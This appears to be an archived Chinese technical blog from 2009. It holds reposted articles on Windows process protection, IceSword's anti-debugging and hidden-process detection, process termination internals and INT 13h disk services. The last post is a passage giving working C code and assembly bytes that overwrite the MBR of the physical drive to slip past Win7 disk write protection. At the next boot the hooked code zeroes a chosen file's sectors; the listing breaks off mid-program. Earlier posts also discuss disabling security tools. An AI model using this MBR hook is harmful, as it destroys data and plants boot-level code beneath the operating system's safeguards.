2009年12月28日 #

菜鸟也谈关于进程保护

说在前面的:就知道看雪上面藏龙卧虎,高手如云,斗胆发个贴子上来让大家发表一下关于进程保护的方法,顺便学习学习!
请大家发表一下自己的观点和看法,有什么好的方法也请提出来,与大家一起分享,这个话题在很多BBS上一度非常热门,以前在CSDN上也看到过很多牛人的牛方(知道了看雪和Debugman后才知道什么叫高手多,^_^其实个人感觉主要的区别是因为看雪和CSDN的定位不同,看雪是一个纯交流平台,而CSDN是商业化亲M$为基准的 ^_^)
下面谈谈我个人的看法:
说到进程保护就不能不提到APIHOOK,Ring3下的OpenProcess,不能不提到Ring0下的NtOpenProcess,ZwOpenProcess,PspTerminateProcess,NtTerminateProcess,
说到测试进程保护的有效性似乎IceSwrod,RootKitUnhooker之类的检测工具就不可回避的要提上主题上来。
实话实说,仅仅就靠M$提供的SDK,DDK已公布的API,用SSDT HOOK,InLine HOOK之类的驱动方式保护,几乎就是最高境界了,HOOK多几个内核API,让你加载不了驱动,看你有啥办法,哈哈。。。笑,[^_^本人水平就这样],就个人观点和理解能力,排除IceSword之类的检测与结束方法,(SSDT HOOK Inlinehook之类都过不了IceSword)是没有办法可以结束进程的,远线程注入之类的在我个人看来纯属下下之策,DLL全局注入更是拿不上台面,我以前就是用这个方法,很占用资源,又不安全,而所谓的双进程守护基本上就跟没有保护一样,如果不使用M$未公开的API,诸如:ZwSystemDebugControl保护进程,用PspTerminateProcess结束进程,似乎根本没有其它方法能逃过冰刃的检测和封杀,个人观点,欢迎大家发表意见,我发现江民KV2009用IceSword无法结束,试过了把它修改过的SSDT全部恢复了也无法结束,感觉有点儿怪,我只试过用 ZwSystemDebugControl API可以实现让IceSword失效,不知KV用的什么方法?
听说M$有给某杀毒厂商提供有专用底层接口,知道的请说出来给大家分享一下,

//----------------------------------------转载Icesword原理--------------------------------------------

源:驱动开发网

icesword.exe 在执行的时候会放出一个驱动程序 ispubdrv.sys,icesword.exe[注:122版的是IsDrv122.sys] 装载这个驱动,这个驱动安装后就不会卸载。直到系统重新启动。这可能是因为驱动中调用了PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍。

///////////////////////////////////////////////
PsSetCreateThreadNotifyRoutine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.

NTSTATUS
PsSetCreateThreadNotifyRoutine(
IN PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine
);
Any driver that successfully registers such a callback must remain loaded until the system itself is shut down.
//////////////////////////////////////////////

虽然ddk 中说成功的调用PsSetCreateThreadNotifyRoutine 函数就要保留驱动直到系统重新启动,但是还是有办法做到可以卸载的。

Icesword 是如何列出隐藏进程?

Icesword 是通过 PspCidTable 这个表来遍厉进程的,PspCidTable 是一个没有被 ntoskrnl.exe 导出的。这就涉及到如何定位PspCidTable 的问题。icesword 是通过搜索特征串的方式定位 PspCidTalbe. PspCidTable 是一个 HANDLE_TALBE 结构. PsLookupProcessByProcessId 函数中会引用 PspCidTalbe 变量。Icesword 从 PsLookupProcessByProcessId 函数的前几十个字节内搜索 PspCidTalbe 变量。那有人就可能会想,那我把 PsLookupProcessByProcessId 这个函数给 patch 了,他不就找不到 PspCidTalbe 变量了吗? 没错,是可以这样。当然我们能想到这点。Icesword 的作者也能想到这点。作者为了防止你这么做,也采取了相应的对策。他采取的对策就是运行前效验恢复的方法。它在执行关键的系统函数时会比较函数的头几十个字节是否被修改。如果被修改了它就会把被修改的给恢复成系统原来的内容,那我们可能就会提出一个疑问,如果我在它启动之前就 patch 了他要效验的函数,它怎么能知道系统原来的内容呢?这个问题提的好。现在就让我们来看看 icesword 的作者是怎么做到这一点的。我们就拿
PsLookupProcessByProcessId 函数来说吧。 PsLookupProcessByProcessId 函数是 ntoskrnl.exe 文件导出的。作者不是用我们通常的方法来定位 PsLookupProcessByProcessId 函数的,也就是说 ispubdrv.sys 并没有导入这个函数。同样也没有通过MmGetSystemRoutineAddress 函数来得PsLookupProcessByProcessId的地址。那他是怎么获的 PsLookupProcessByProcessId 的地址的呢?

那可能有的人就会想到他是通过自己打开ntoskrnl.exe 文件然后分析导出函数做的,对icesword 的作者就是这么做的。当然他这里还是有技巧在的。作者操作文件也没有用我们写驱动程序时常用的操作文件的方式来访问文件。我们平时在驱动程序里面打开和读写文件时大多是使用ZwCreateFile, ZwOpenFile, ZwReadFile, ZwWriteFile, NtCreateFile 等函数,这样的话作者就可以避免一些文件过滤程序。作者打开文件用 IoCreateFile 函数。在读文件的时候作者没有用正常的 文件相关的 API 函数,而是用的 IofCallDriver 来做的。因为本人对驱动不熟悉,也不清楚他 IoCallDriver 做什么用,只知道调用完了这个 IoCallDriver 函数后,数据就被读出来了。 这就防止了通常的文件读写过滤程序。自己分析 pe 文件,找出他要定位的函数的导出地址。然后他会把函数的前 几十个字节读出来,当然这里又涉及到代码重定位的问题。(熟悉 pe 的人可能都会理解重定位的问题的问题,这里我就不讲了。如果有不理解的可以自己参考 PE 文件格式的相关文档。)作者自己把读出来的代码片段自己做重定为。这样他就得到了函数开头部分的原始代码。作者通过这种方法,就获得了原始的效验数据。这样他运行系统函数的时候就保证函数没有被 patch 过。当然了如果你不怕麻烦的话可以把自己的 patch 放到更深的调用路径上。这样即使是用 windbg, softice, syser 调试器下断点调试,也是断不住的。当然了你也不能用调试器调试,因为Icesword.exe 会在一个 timer 中不停的重新设置 int 1,int 3 的中断处理函数。设置成 windows ntoskrnl.exe 中的缺省处理函数。即使你用硬件断点寄存器也是不管用的。那有的人就会说既然设置成 windows ntoskrnl.exe 中的缺省处理函数就可以使用 windbg 双机调试.icesword 也做了处理, icesword 会通过 KdDebuggerEnabled 变量判断是否允许内核调试。如果允许调试的话. icesword 会调用 KdDisableDebugger 函数禁止内核调试。

这里顺便在说两个分析 icesword 中遇到的反调试小陷阱这里把代码片段列出来,希望作者原谅

.text:000xxxF0 mov [ebp+IoControlCode], eax
.text:000xxxF3 mov eax, [esp+5Ch-6Ch] ; 反调试代码
.text:000xxxF7 push eax
.text:000xxxF8 mov eax, [esp+60h-6Ch]
.text:000xxxFC pop ebx
.text:000xxxFD cmp eax, ebx
.text:000xxxFF jz short loc_1240B ; 如果没有被调试则会跳转
.text:000xxx01 mov eax, 200EDBh
.text:000xxx06 not eax
.text:000xxx08 push eax
.text:000xxx09 pop edi
.text:000xxx0A stosd

.text:000xxxF3 mov eax, [esp+5Ch+6Ch]

当单步执行到这条指令或者在这条指令上设置断点的时候,因为当调试器在这条指令上弹出的时候会用到被调试程序的堆栈来保存 EFLAGS,CS,EIP, (如果 int 1,或 int 3 处理函数用任务门就可以解决这个问题。)例如 当代码执行到这条指令时 ESP = 805E4320h 执行完这条指令是 eax 的值为 [ESP+5Ch-6Ch]=[ESP-10h]=[805E4320h-10h]=[805E4310h] 的值。当单步执行到 .text:000xxxF8 mov eax, [esp+60h-6Ch] 指令的时候 ESP=805E432Ch 以为其中入栈了一个 eax 所以 ESP=805E432Ch, 执行完 .text:000xxxF8 mov eax, [esp+60h-6Ch] 条指令的时候 eax = [ESP+60h-6Ch]=[ESP- Ch]=[805E432Ch-Ch]=[805E4310h] 如果不调试的情况下 读的是同一个地址的值,所以两个值比较应该是相同的 也就是 .text: 000xxxFD cmp eax, ebx 这条指令的比较结果应该是相同的。这个指令 .text:000xxxFF jz short loc_1240B 执行后直接跳转到。如果是被调试器调试的情况下 .text:000xxxFF jz short loc_1240B 不会跳转。 如果不跳转时下面的代码 会覆盖掉系统的当前 ETHREAD 指针。接下来在调用很多系统函数都会导致系统崩溃,并且是崩溃到系统模块里面,这样给你定位错误带来误导。

.text:000xxx68 push 1 ; Alignment
.text:000xxx6A push 40h ; Length
.text:000xxx6C push CurrentEProcessObject ; Address
.text:000xxx72 call ds:ProbeForRead

这里是故意做个异常来实现跳转。如果你在 .text:000xxx72 call ds:ProbeForRead 指令上单步执行的时候调试器会跑飞了,也就是说从调试器退出了,没有继续跟踪下去。

接下来说我们的 PspCidTable 我们找到了 PspCidTable 变量后, PspCidTable [这个 HANDLE_TABLE 的句柄表中,保存着所有进程和线程对象的指针。PID(进程ID)和 ThreadID(线程ID)就是在这个句柄表中的索引。这个 HANDLE_TABLE 不属于任何进程,也没有链在 HANDLE_TABLE 链上。全局变量 PspCidTable 中是指向这个 HANDLE_TABLE 的指针。这个 HANDLE_TABLE 还有一点和别的 HANDLE_TABLE 都不同,就是它的 HANDLE_TABLE_ENTRY 中的第一个32bit 放着的是对象体指针(当然需要转换)而不是对象头指针(对象指针就是对象体指针)。] (特别注明 在[]的话不是俺写的是在网上抄来的这里特别感谢 “JIURL玩玩Win2k进程线程篇 HANDLE_TABLE” 文章的作者:JIURL ) 我们之要想到办法遍历这个 PspCidTable 句柄表就可以遍历到系统的所有进程。icesword 为了遍历这个表他使用了系统为公开的 ntoskrnl.exe 的导出函数ExEnumHandleTable 。

icesword 定位到 ntoskrnl.exe 导出的 ExEnumHandleTable函数。这个函数是未公开的函数。这个函数的函数原形可能是 VOID STDCALL ExEnumHandleTable (PULONG HandleTable, PVOID Callback, PVOID Param, PHANDLE Handle OPTIONAL); 其中的参数 PULONG HandleTable 就可以用 PspCidTable 做参数. PVOID Callback 的类型为 bool (*EXENUMHANDLETABLECALLBACK)(HANDLE_TALBE_ENTRY*,DWORD PID,PVOID Param) 函数指针。PVOID Param 参数就是传送给回调函数的参数。PHANDLE Handle OPTIONAL 这个参数俺还没搞懂什么意思。在说俺也用不到他,所以也不管他了随他去吧。当调用 ExEnumHandleTable 函数的时候 函数在每次枚举到表中的一个句柄时都会调用一次回调函数。当调用的 Callback 回调函数返回值为 0 时继续枚举句柄表,如果返回 1 时则停止枚举。

posted @ 2009-12-28 14:44 风一样的离去 阅读(1045) | 评论 (0)编辑 收藏

终止进程的内幕【转自www.bitsCN.com】

有来信询问进程结束的有关问题,下面就这个问题简单讨论一下(下面的讨论基于2000,其他NT系统也类似)。
  首先看看一个应用程序想要强制结束另一个进程所要做的事:首先获得目标的进程ID,接着利用OpenProcess获取进程句柄(确保足够权限),最后将句柄传给TerminateProcess了结那个进程。
  1、OpenProcess通过本机系统服务接口进入核心态,随后调用ntoskrnl的NtOpenProcess。在服务函数里,系统使用SeSinglePrivilegeCheck检查调用者是否有DEBUG权限(SeDebugPrivilege),若有,则修改AccessState使得在后面的操作中获取允许任意进程访问操作的句柄。最后通过ObOpenObjectByName或PsLookupProcess*** + ObOpenObjectByPointer来打开进程(创建并返回进程句柄)。
  2、TerminateProcess通过本机系统服务接口进入核心态,随后调用ntoskrnl的NtTerminateProcess。系统首先调用ObReferenceObjectByHandle获取进程执行体块,执行体块的DebugPort指出进程是否处于调试状态,若处于调试状态且传入的ExitStatus为DBG_TERMINATE_PROCESS则返回失败禁止结束进程。随后服务函数转入正题:
  系统利用ThreadListHead枚举进程的每一个线程,使用PspTerminateThreadByPointer来结束它们。注意并不是对每个线程系统都会忠实地执行你的命令:若枚举到的线程是系统线程则不会继续执行而是返回STATUS_INVALID_PARAMETER。判断的方法是线程的Teb为零或者Teb的值在内核地址空间。有人问2000下为何csrss.exe进程杀不死,很简单,打开IceSword,在进程栏利用右键菜单的“线程信息”看一下,看到那几个Teb为零的线程没有?(注意是针对windows2000,XP下不同。另外一点就是csrss中其它非系统线程的线程是很容易被杀死的,试图结束csrss时也可以看到在Teb为零的线程前面的线程已被杀掉,只是操作停在了Teb为零的线程这里) 再看看system进程,呵呵。IceSword也并未提供杀除这种进程的功能,因为觉得没有需求。在最后一个线程结束时,进程的生命也结束了,随着PspExitProcess/ObKillProcess灰飞烟灭。 54ne.com
  另一方面,线程是怎样结束的呢。PspTerminateThreadByPointer并不是直接“杀掉”指定线程,实质上线程是“自杀”的,呵呵。系统简单的使用KeInitializeApc/KeInsertQueueApc插入了一个核心态的APC调用,若是用户线程,会再插入用户态的APC调用,最终线程在自己的执行环境中使用PspExitThread(...=>KeTerminateThread=>KiSwapThread)悲壮的自行了断。
  有人问起为什么IceSword有时杀不死除那三个有系统线程的进程(两个是csrss、system,而idle是个非常奇特的存在,与众不同,这里不多废话了)外的其它进程。从上面的讨论可以找到答案。这种情况往往是目标进程的某用户态线程进入核心态后,系统出了某些问题挂死在核心态,无法返回执行Apc例程的缘故。IceSword未强制除去它们是考虑此刻系统可能已经有某些问题,强制删除操作更有可能使系统崩溃,不过有了不少用户要求有这项功能,所以以后有空可能会加上(已经有一大堆杂七杂八的要求了,很难有时间升级一下版本,~_~)。
  一般来说,要干掉一个进程,有了Debug权限就可以了,若别人有了保护,那就要发挥你的能力了。
  我想上面的讨论对于想要杀除进程、保护进程的人有一些启发了吧。
【转自www.bitsCN.com

posted @ 2009-12-28 14:37 风一样的离去 阅读(461) | 评论 (0)编辑 收藏

2009年12月26日 #

MBR和DBR详细分析

     摘要: 标 题: 【原创】MBR和DBR详细分析作 者: HSQ时 间: 2007-08-30,11:14链 接: http://bbs.pediy.com/showthread.php?t=50714之所以贴出来,是有些地方不明白,希望能于大家交流分析我系统2K PRO SP4,C盘采用NTFS,用WinHex提取MBR和DBR,拿IDA分析的.关键在DBR几处不明白.1.一点预备知...  阅读全文

posted @ 2009-12-26 16:35 风一样的离去 阅读(1787) | 评论 (0)编辑 收藏

2009年12月25日 #

HardDisk,Partition,Boot,OSLoader专题

     摘要:  第一部分     简     介     1,1     一.   硬盘结构简介             1.   硬盘参数释疑               ...  阅读全文

posted @ 2009-12-25 20:00 风一样的离去 阅读(353) | 评论 (0)编辑 收藏

汇编int 13指令代码

中断INT13功能及用法分析

INT 13H,AH=00H 软、硬盘控制器复位

说明:
此功能复位磁盘(软盘和硬盘)控制器板和磁盘驱动器,它在磁盘控制器
芯片上完成复位操场作并在磁盘进行所需的操作之前做一系列用于磁盘校准的
磁盘操作。
当磁盘I/O功能调用出现错误时,需要调用此功能,此刻复位功能将使BIOS
象该磁盘重新插入一样检查驱动器中磁盘状态,并将磁头校准使之在应该在的
位置上。
此功能调用不影响软盘或硬盘上的数据。
入口参数:
AH=00H 指明调用复位磁盘功能。
DL 需要复位的驱动器号。
返回参数:
若产生错误,进位标志CF=1,错误码在AH寄存器。
详情请见磁盘错误状态返回码一文。
示例:
C_SEG SEGMENT PUBLIC
ASSUME CS:C_SEG,DS:C_SEG
ORG 100H
START: MOV AH, 00H
MOV DL, 80H
INT 13H
;复位硬盘 C
JC ERROR
……
ERROR: ……
C_SEG ENDS
END START

INT 13H,AH=02H 读扇区说明:
调用此功能将从磁盘上把一个或更多的扇区内容读进存贮器。因为这是一个
低级功能,在一个操作中读取的全部扇区必须在同一条磁道上(磁头号和磁道号
相同)。BIOS不能自动地从一条磁道末尾切换到另一条磁道开始,因此用户必须
把跨多条磁道的读操作分为若干条单磁道读操作。
入口参数:
AH=02H 指明调用读扇区功能。
AL 置要读的扇区数目,不允许使用读磁道末端以外的数值,也不允许
使该寄存器为0。
DL 需要进行读操作的驱动器号。
DH 所读磁盘的磁头号。
CH 磁道号的低8位数。
CL 低5位放入所读起始扇区号,位7-6表示磁道号的高2位。
ES:BX 读出数据的缓冲区地址。
返回参数:
如果CF=1,AX中存放出错状态。读出后的数据在ES:BX区域依次排列。
详情请参见磁盘错误状态返回码一文。
示例:
C_SEG SEGMENT PUBLIC
ASSUME CS:C_SEG,DS:C_SEG
ORG 100H
START: JMP READ
BUFFER DB 512 DUP(0)
READ: PUSH CS
POP ES
MOV BX, OFFSET BUFFER
MOV AX, 0201H
MOV CX, 0001H
MOV DX, 0000H
INT 13H
;读软盘A, 0面0道1扇区
;读出后数据在BUFFER中
JC ERROR
……
ERROR: ……
C_SEG ENDS
END START

INT 13H,AH=03H 写扇区

说明:
调用此功能将从磁盘上把一个或更多的扇区内容写入驱动器。因为这
是一个低级功能,在一个写入操作中的全部扇区必须在同一条磁道上(磁
头号和磁道号相同)。BIOS不能自动地从一条磁道末尾切换到另一条磁道
开始,因此用户必须把跨多条磁道的写操作分为若干条单磁道写操作。
入口参数:
AH=03H 指明调用写扇区功能。
AL 置要写的扇区数目,不允许使用超出磁道末端以外的数值,
也不允许使该寄存器为0。
DL 需要进行写操作的驱动器号。
DH 所写磁盘的磁头号。
CH 磁道号的低8位数。
CL 低5位放入所读起始扇区号,位7-6表示磁道号的高2位。
ES:BX 放置写入数据的存贮区地址。
返回参数:
如果CF=1,AX中存放出错状态。
详情请参见磁盘错误状态返回码一文。
示例:
C_SEG SEGMENT PUBLIC
ASSUME CS:C_SEG,DS:C_SEG
ORG 100H
START: JMP WRITE
BUFFER DB 512 DUP(0FFH)
WRITE: PUSH CS
POP ES
MOV BX, OFFSET BUFFER
MOV AX, 0301H
MOV CX, 0001H
MOV DX, 0000H
INT 13H
;写入软盘A, 0面0道1扇区
;把此扇区数据全部置为0FFH
JC ERROR
……
ERROR: ……
C_SEG ENDS
END START
INT 13H,AH=04H 检测扇区

说明:
这个功能检测磁盘上1个或更多的扇区。这个验证测试不是把磁盘上的
数据和内存中的数据进行比较,而只是简单地确定读出的数据有无CRC错误。
这个功能可用来验证驱动器中的软盘版。如果盘片的格式正确,CF=0。
入口参数:
AH=03H 指明调用检测扇区功能。
AL 置要检测的连续扇区数目,不允许使用超出磁道末端以外的
数值,也不允许使该寄存器为0。
DL 需要进行检测的驱动器号。
DH 磁盘的磁头号。
CH 磁道号的低8位数。
CL 低5位放入起始扇区号,位7-6表示磁道号的高2位。
返回参数:
如果CF=1,AX中存放出错状态。CF=0,检测正确。
详情请参见磁盘错误状态返回码一文。
示例:
C_SEG SEGMENT PUBLIC
ASSUME CS:C_SEG,DS:C_SEG
ORG 100H
START: MOV AX, 0401H
MOV CX, 0001H
MOV DX, 0000H
INT 13H
;检测软盘A, 0面0道1扇区
JC ERROR
……
ERROR: ……
C_SEG ENDS
END START

磁盘错误状态返回码:

磁盘错误状态

AH=
00H 未出错
01H 非法功能调用命令区。
02H 地址标记损坏,扇区标识(ID)无效或未找到。
03H 企图对有写保护的软盘执行写操作。
04H 所寻找的扇区没找到。
05H 复位操作失败。
06H 无介质。
07H 初始化错误,数据未存在DMA的64K缓冲区内。
08H DMA故障
09H DMA边界错误,数据未存在DMA的64K缓冲区内。
0AH 检测出错误码率的扇区标志。
0BH 所寻找的磁道没找到。
0CH 介质类型没发现。
0DH 扇区号有问题。
0EH 发现控制数据地址标记。
0FH 超出DMA边界
10H 读磁盘时奇偶校验错,且纠错码(EDC)不能纠正。
11H 读磁盘时奇偶校验错,但纠错码(EDC)已纠正错误。
20H 控制器错。
40H 查找操作无效。
80H 超时错误,驱动器不响应。
AAH 驱动器未准备好。
BBH 不明错误。
CCH 被选驱动器出现写故障。
E0H 错误寄存器是零
FFH 非法操作。

备注:
控制器的最后状态将会在磁盘操作完成后写入相应的BIOS数据区(40:41)

posted @ 2009-12-25 16:53 风一样的离去 阅读(2159) | 评论 (0)编辑 收藏

2009年12月24日 #

Hook MBR绕过Win7磁盘防写清零文件

文章作者:Styxal@THSS
原始出处:邪恶八进制信息安全团队(www.eviloctal.com

/*本篇属菜鸟练手之作,大牛飘过即可*/
依照MJ大牛的感叹,“Win7的系统文件防护太强大了”——Ring3下,过去最常用的写磁盘扇区被Win7从各个角度挡住了,只开放前16扇区给我们。(具体见DebugMan,VISTA & WIN7对直接磁盘写入的防护, by MJ0011)
然而,其实我们可以轻易意识到——即便只有16个扇区也足够我们使用了——16扇区有什么呢?最重要的还是1扇区的MBR,MBR负责识别分区、加载DBR等等,总之这个时候可以轻易对磁盘进行操作了,而这个时候Win7的一堆吓死人的防护还没加载。
于是有了下面这个Demo,对MBR进行静态Inline Hook实现对文件的强行清零。
通常用的MBR有两个版本,一新一老;但是不管哪个版本,一上来功能都是一样的:
被Bios加载至0000:7c00->清零ax,ss,es等寄存器->si指向自身0000:7c00,di指向0000:0600,repe movsb拷代码(新版从7c1b开始拷贝,目的地是061b)->段间跳转到0000:061b执行(让出7c00是为了把DBR放进去)
看了下老版和新版MBR的逆向,不管新老,在7c14之前都正好还没开始考代码,7c14又正好都是对齐的新指令,很好,我们的Jmp Code也正好0x14个字节(具体见下面代码)。
于是我们r3程序通过FSCTL_GET_RETRIEVAL_POINTERS得到文件偏移,通过IOCTL_DISK_GET_PARTITION_INFO得到分区偏移,然后打开磁盘读分区BPB里的每簇扇区数,计算出文件的绝对扇区号。然后把原MBR前0x14个字节的代码拷出来放到我们的Hook Code里去,然后把Jmp Code写到MBR去;然后把定位出来的文件绝对扇区号和占用扇区数也写到Hook Code里,最后把Hook Code写到第3扇区。
重启时我们的Jmp Code在0000:7c00调int 13把第3扇区读到0000:0600->远跳转过去执行Hook Code->调int 13把原来的MBR前0x14字节写回0000:7c00覆盖掉Jmp Code->调int 13将7c00的代码写回磁盘第1扇区->调扩展int 13将文件占用扇区逐块清零->跳回0000:7c00继续引导系统启动。
在文件大小上偷懒了~没写对qword长的扇区数的递增,故仅支持31M以下的文件~ 复制内容到剪贴板
代码:
#include <Windows.h>
#include <WinIoCtl.h>

typedef long NTSTATUS;
typedef __int64 LONGLONG;
#define STATUS_SUCCESS 0L


#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
        ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

#define FILE_DEVICE_FILE_SYSTEM         0x00000009
#define METHOD_NEITHER                  3
#define FILE_ANY_ACCESS                 0
#define FSCTL_GET_RETRIEVAL_POINTERS    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28,  METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER

#define MsgBox(a) MessageBox(0, a, 0, 0)
BOOL OpenDlg(LPWSTR szFile, HWND hwnd) {
        OPENFILENAME ofn;
        ZeroMemory(&ofn, sizeof(ofn));
        ofn.lStructSize = sizeof(ofn);
        ofn.hwndOwner = hwnd;
        ofn.lpstrFile = szFile;
        ofn.lpstrFile[0] = '\0';
        ofn.nMaxFile = 256;
        ofn.lpstrFilter = NULL;
        ofn.nFilterIndex = 1;
        ofn.lpstrFileTitle = NULL;
        ofn.nMaxFileTitle = 0;
        ofn.lpstrInitialDir = NULL;
        ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

        // Display the Open dialog box.
        return GetOpenFileName(&ofn);
}

/*;Coded by Styxal@THSS
0000:7C00 sti                        ;JMP Code in MBR. When flow of control is turned to 0000:7c00,
0000:7C01 mov ax,201                ;from BIOS, it'll read code from sector 3 into 0000:0600 and far
0000:7C04 mov bx,0600                ;jump there.
0000:7C07 mov cx,3
0000:7C0A mov dx,80
0000:7C0D int 13
0000:7C0F xor dl,dl
0000:7C11 push dx
0000:7C12 push bx
0000:7C13 retf
*/        const static UCHAR mbrJmpCode[0x14]= {
        0xFB, 0xB8, 0x01, 0x02, 0xBB, 0x00, 0x06, 0xB9, 0x03, 0x00, 0xBA, 0x80,
        0x00, 0xCD, 0x13, 0x30, 0xD2, 0x52, 0x53, 0xCB
};

/*;Coded by Styxal@THSS
0000:0600 call short 0613                ;push a DataAddressPacket into stack
                                ;struct DiskAddressPacket {  
0000:0603 db 10                        ;        BYTE PacketSize = 0x10;  //Size of DAP
0000:0604 db 00                        ;        BYTE Reserved = 0;
0000:0605 dw 0001                        ;        WORD BlockCount = 1;         //Count of Sectors
0000:0607 dw 0007                        ;        DWORD BufferAddr = 0000:0700;        //here's 512 zeros
0000:0609 dw 0000
0000:060B dw cccc                        ;        QWORD BlockNum = 0xccccccccccccccccL;
0000:060D dw cccc                        ;        //Later the hooker'll replace this count of
0000:060F dw cccc                        ;        //sectors to a real one.
0000:0611 dw cccc                        ;}
0000:0613 call short 0629                ;put the original MBR code here(were to be filled later)
0000:0616 dw dddd
0000:0618 dw dddd
0000:061A dw dddd
0000:061C dw dddd
0000:061E dw dddd
0000:0620 dw dddd
0000:0622 dw dddd
0000:0624 dw dddd
0000:0626 dw dddd
0000:0628 dw dddd
0000:062A cld                        ;restore the hook at 0000:7c00
0000:062B pop si
0000:062C mov di, 7c00
0000:062F mov cx, 14
0000:0632 repe movsb
0000:0634 mov ax, 301                ;and write them into MBR
0000:0637 mov bx, 7c00
0000:063A mov cx, 1
0000:063D mov dx, 80
0000:0640 int 13
0000:0642 mov cx, eeee                ;'eeee' is the count of sectors the file occupied, were to be replaced later
0000:0645 pop si
0000:0646 mov ah, 43                ;use int 13 ext to zero the file
0000:0648 mov al, 0
0000:064A mov dl, 80
0000:064C int 13
0000:064E inc word ptr [si+8]
0000:0651 loop 0646
0000:0653 xor ax, ax
0000:0655 push ax                        ;far jump to 0000:7c00
0000:0656 push bx
0000:0657 retf
*/        const static UCHAR mbrDetourCode[0x58] = {
        0xE8, 0x10, 0x00, 0x10, 0x00, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0xCC,
        0xCC, 0xCC, 0xCC, 0xCC,        0xCC, 0xCC, 0xCC, 0xE8, 0x14, 0x00, 0xDD, 0xDD,
        0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,        0xDD, 0xDD, 0xDD, 0xDD,
        0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xFC, 0x5E, 0xBF, 0x00, 0x7C, 0xB9,
        0x14, 0x00, 0xF3, 0xA4, 0xB8, 0x01, 0x03, 0xBB, 0x00, 0x7C, 0xB9, 0x01,
        0x00, 0xBA, 0x80, 0x00,        0xCD, 0x13, 0xB9, 0xEE, 0xEE, 0x5E, 0xB4, 0x43,
        0xB0, 0x00, 0xB2, 0x80, 0xCD, 0x13, 0xFF, 0x44,        0x08, 0xE2, 0xF3, 0x31,
        0xC0, 0x50, 0x53, 0xCB
};

int APIENTRY wWinMain(HINSTANCE hInstance,
                                           HINSTANCE hPrevInstance,
                                           LPTSTR    lpCmdLine,
                                           int       nCmdShow) {
        PRETRIEVAL_POINTERS_BUFFER prpb;
        STARTING_VCN_INPUT_BUFFER vib;
        PARTITION_INFORMATION pi;
        UCHAR oRpbBuf[272];
        WCHAR fn[MAX_PATH];
        WCHAR par[7] = {L"\\\\.\\C:"};
        DWORD dataLen;
        UCHAR bpbBuf[512];
        UCHAR mbrBuf[512];
        LARGE_INTEGER FileSec;
        LARGE_INTEGER FileLen;
        DWORD dwFileLen;
        DWORD SecsPerCluster;
        DWORD BytesPerSecs;
        DWORD ClusterSizeInBytes;
        if(!OpenDlg(fn, NULL))
                return 0;
        HANDLE hFile = CreateFile(
                fn,
                GENERIC_READ,
                FILE_SHARE_READ,
                NULL,
                OPEN_EXISTING,
                FILE_FLAG_NO_BUFFERING,
                NULL
        );
        if(!hFile) {
                MsgBox(L"Failed to Open File");
                return 0;
        }
        GetFileSizeEx(hFile, &FileLen);
        if(FileLen.QuadPart > 0x1FFFE00L) {
                MsgBox(L"Too Big File");
                CloseHandle(hFile);
                return 0;
        }
        dwFileLen = FileLen.LowPart;
        vib.StartingVcn.QuadPart = 0L;
        if(!DeviceIoControl(
                hFile,
                FSCTL_GET_RETRIEVAL_POINTERS,
                &vib, sizeof(STARTING_VCN_INPUT_BUFFER),
                oRpbBuf,
                sizeof(oRpbBuf),
                &dataLen,
                NULL
        )) {
                MsgBox(L"Failed to Locate File");
                CloseHandle(hFile);
                return 0;
        }
        prpb = (PRETRIEVAL_POINTERS_BUFFER)oRpbBuf;
        DWORD dwVcnCon = prpb->ExtentCount;
        LARGE_INTEGER startLcn = prpb->Extents[0].Lcn;
        CloseHandle(hFile);
        par[4] = fn[0];
        HANDLE hPartition = CreateFile(
                par,
                GENERIC_READ,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                0
        );
        if(!hPartition) {
                MsgBox(L"Failed to Open Partition");
                return 0;
        }
        if(!DeviceIoControl(
                hPartition,
                IOCTL_DISK_GET_PARTITION_INFO,
                NULL,
                0,
                &pi,
                sizeof(PARTITION_INFORMATION),
                &dataLen,
                NULL
        )) {
                MsgBox(L"Failed to Get Partition Info");
                CloseHandle(hPartition);
                return 0;
        }
        LARGE_INTEGER startPar = pi.StartingOffset;
        CloseHandle(hPartition);
       
        HANDLE hDrive = CreateFile(
                L"\\\\.\\PhysicalDrive0",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
        );
        if(!hDrive) {
                MsgBox(L"Failed to Open Drive");
                return 0;
        }
        SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
        ReadFile(hDrive, mbrBuf, sizeof(mbrBuf), &dataLen, NULL);
        SetFilePointer(hDrive, startPar.LowPart, &startPar.HighPart, FILE_BEGIN);
        ReadFile(hDrive, bpbBuf, sizeof(bpbBuf), &dataLen, NULL);
        SecsPerCluster = (DWORD)(bpbBuf[0xD]);
        startLcn.QuadPart *= (LONGLONG)SecsPerCluster;
        BytesPerSecs = (DWORD)(*(USHORT*)(bpbBuf + 0xB));
        startPar.QuadPart /= (LONGLONG)BytesPerSecs;
        FileSec.QuadPart = startPar.QuadPart + startLcn.QuadPart;
        ClusterSizeInBytes = SecsPerCluster * BytesPerSecs - 1;
        dwFileLen = (dwFileLen + ClusterSizeInBytes) & ~ClusterSizeInBytes;
        dwFileLen /= BytesPerSecs;
        PVOID Sector3Buf = calloc(BytesPerSecs, 1);
        if(!Sector3Buf) {
                MsgBox(L"Out of Memory");
                return 0;
        }
        RtlCopyMemory(Sector3Buf, mbrDetourCode, sizeof(mbrDetourCode));
        UCHAR* ptr = (UCHAR*)Sector3Buf;
        while(*ptr != 0xCC) ptr++;
        *(LONGLONG*)ptr = FileSec.QuadPart;
        ptr += 8;
        while(*ptr != 0xDD) ptr++;
        RtlCopyMemory(ptr, mbrBuf, sizeof(mbrJmpCode));
